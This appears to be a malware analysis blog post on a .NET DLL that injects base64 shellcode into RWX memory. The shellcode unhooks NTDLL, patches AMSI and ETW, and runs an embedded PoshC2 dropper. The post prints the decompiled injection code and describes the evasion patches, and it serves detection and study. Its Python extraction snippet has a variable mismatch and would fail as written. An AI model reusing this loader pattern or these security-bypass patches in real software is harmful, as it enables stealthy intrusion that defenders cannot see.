TL;DR#
A .NET DLL selects one of two embedded base64-encoded shellcode blobs based
on process architecture (x86/x64), decodes it, allocates RWX memory, and
executes it via CreateThread. The shellcode performs three evasion steps —
NTDLL unhooking, AMSI bypass, and ETW bypass — then executes an embedded
PE32 payload identified as a PoshC2 Dropper-cs.exe.
Initial Analysis#
1Sharp_v4_x64.dll: PE32+ executable (DLL) x86-64 Mono/.Net assembly, 3 sections
2SHA256: 56ed93571e83ca344757d8ce809b5bf8ed5004cdeea92a40ea486b8478b7b26eimports#
3 P/Invoke imports from kernel32.dll used for shellcode injection:
1VirtualAlloc p/Invoke kernel32.dll
2VirtualProtect p/Invoke kernel32.dll
3CreateThread p/Invoke kernel32.dllThis RW→RWX pattern is a indicator of shellcode injection - allocate as writable, write payload, then flip to executable before spawning a thread.
1PAGE_READWRITE → initial allocation
2PAGE_EXECUTE_READWRITE → after VirtualProtect callStatic Analysis#
DNspy#
The DLL was decompiled with dnSpy. The Main method contains two large
base64 strings — one for x86 (s2) and one for x64 (s). Architecture
is determined via IntPtr.Size:
1private static void Main(string[] args)
2{
3 byte[] array = null;
4 string s = "6AAAAABZSYnISIHBIwsAALpFd2Iw..."; // x64 shellcode
5 string s2 = "6AAAAABYVYnlicIF/wsAAIHC/1MC..."; // x86 shellcode
6...[snip]...The execution flow is: decode base64 -> allocate RW memory -> copy shellcode ->
change protection to RWX via VirtualProtect -> execute via CreateThread ->
block indefinitely with WaitOne.
1 if (IntPtr.Size == 4)
2 array = Convert.FromBase64String(s2);
3 else if (IntPtr.Size == 8)
4 array = Convert.FromBase64String(s);
5
6 IntPtr intPtr = Program.VirtualAlloc(IntPtr.Zero,
7 (IntPtr)(array.Length * 2),
8 Program.AllocationType.COMMIT,
9 Program.Protection.PAGE_READWRITE);
10
11 if (intPtr != IntPtr.Zero)
12 {
13 uint num = 0U;
14 uint num2 = 0U;
15 Marshal.Copy(array, 0, intPtr, array.Length);
16 Program.VirtualProtect(intPtr, (IntPtr)(array.Length * 2),
17 Program.Protection.PAGE_EXECUTE_READWRITE, out num);
18 Program.CreateThread(IntPtr.Zero, 0U, intPtr,
19 IntPtr.Zero, 0U, out num2);
20 WaitHandle waitHandle = new EventWaitHandle(false,
21 EventResetMode.ManualReset);
22 waitHandle.WaitOne();
23 }IDA#
Checking strings revelad that the shellcode contains a configuration block that controls which
evasion features are enabled at runtime:
1AMS=1 → AMSI bypass enabled
2ETW=1 → ETW bypass enabled
3NTD=0 → NTDLL unhooking disabled
4DLL=1 → DLL mode
5SLP=0 → Sleep evasion disabledNTDLL Unhooking#
The shellcode contains a function that bypasses EDR/AV hooks by replacing
the in-memory ntdll.dll .text section with a clean copy loaded directly
from disk via LoadLibraryEx with flag 0x80000000 (map as data file,
not executed). This restores any syscall stubs that may have been patched
with EDR trampolines back to their original bytes.


AMSI Bypass#
The shellcode locates AmsiScanBuffer in memory and patches its entry point
with a ret instruction, causing all subsequent AMSI scan calls to return
immediately without scanning.

ETW Bypass#
The shellcode locates EtwEventWrite in ntdll and patches its first byte
with 0xC3 (ret), disabling Event Tracing for Windows and preventing
the OS from logging telemetry about shellcode execution.

Embedded PE#
The shellcode contains an embedded base64-encoded PE identified by the
TVqQ magic header (MZ signature):
1seg000:000000000001BA58 TVqQAAMAAAAEAAAA/AALgAAAA...Extracted with Python:
1import base64
2import re
3
4with open("mw.bin", "rb") as f:
5 dadta = f.read()
6
7m = re.search(b'TVqQAAMAAAAEAAAA[A-Za-z0-9+/=]+', d)
8pe = base64.b64decode(m.group(0))
9
10with open("mw_extracted.exe", "wb") as out:
11 out.write(pe)1$ file mw_extracted.exe
2mw_extracted.exe: PE32 executable (console) Intel i386 Mono/.Net assembly, 3 sections
SHA256 comparison confirmed this is identical to the previously analyzed
Dropper-cs.exe — full analysis available here:
18e5eeb667a962dbee803572f951d08a65c67a42ecb6d6eaf8ebaaf3681e26154 mw_extracted.exe
28e5eeb667a962dbee803572f951d08a65c67a42ecb6d6eaf8ebaaf3681e26154 dropper_cs.exeIOCs#
FilesSharp_v4_x64.dll — .NET shellcode loader
- SHA256: 56ed93571e83ca344757d8ce809b5bf8ed5004cdeea92a40ea486b8478b7b26emw_extracted.exe — embedded PoshC2 dropper
- SHA256: 8e5eeb667a962dbee803572f951d08a65c67a42ecb6d6eaf8ebaaf3681e26154
Attack Flow#
%%{init: {'theme': 'base', 'themeVariables': { 'background': '#ffffff', 'mainBkg': '#ffffff', 'primaryTextColor': '#000000', 'lineColor': '#333333', 'clusterBkg': '#ffffff', 'clusterBorder': '#333333'}}}%%
graph TD
classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px,color:#000;
classDef input fill:#e1f5fe,stroke:#0277bd,stroke-width:2px,color:#000;
classDef check fill:#fff9c4,stroke:#fbc02d,stroke-width:2px,stroke-dasharray: 5 5,color:#000;
classDef exec fill:#ffebee,stroke:#c62828,stroke-width:2px,color:#000;
classDef term fill:#e0e0e0,stroke:#333,stroke-width:2px,color:#000;
Load([Sharp_v4_x64.dll Loaded]):::input --> Main[Main - Entrypoint]:::input
subgraph Shellcode_Selection [Shellcode Selection]
Main --> ArchCheck{IntPtr.Size}:::check
ArchCheck -- "== 4 (x86)" --> DecodeX86[FromBase64String s2]:::exec
ArchCheck -- "== 8 (x64)" --> DecodeX64[FromBase64String s]:::exec
end
subgraph Injection [Memory Injection]
DecodeX86 --> Alloc[VirtualAlloc RW]:::exec
DecodeX64 --> Alloc
Alloc --> Copy[Marshal.Copy shellcode to memory]:::exec
Copy --> Protect[VirtualProtect → RWX]:::exec
Protect --> Thread[CreateThread]:::exec
end
subgraph Evasion [Evasion]
Thread --> NTD{NTD=0}:::check
NTD -- Enabled --> Unhook[NTDLL Unhooking
replace .text from disk]:::exec
NTD -- Disabled --> AMSI
Unhook --> AMSI{AMS=1}:::check
AMSI -- Enabled --> AMSIPatch[AmsiScanBuffer → ret]:::exec
AMSI -- Disabled --> ETW
AMSIPatch --> ETW{ETW=1}:::check
ETW -- Enabled --> ETWPatch[EtwEventWrite → ret]:::exec
ETW -- Disabled --> PE
ETWPatch --> PE
end
subgraph Payload [Embedded Payload]
PE[Extract embedded PE
TVqQ base64]:::exec --> Dropper((Dropper-cs.exe
PoshC2)):::exec
end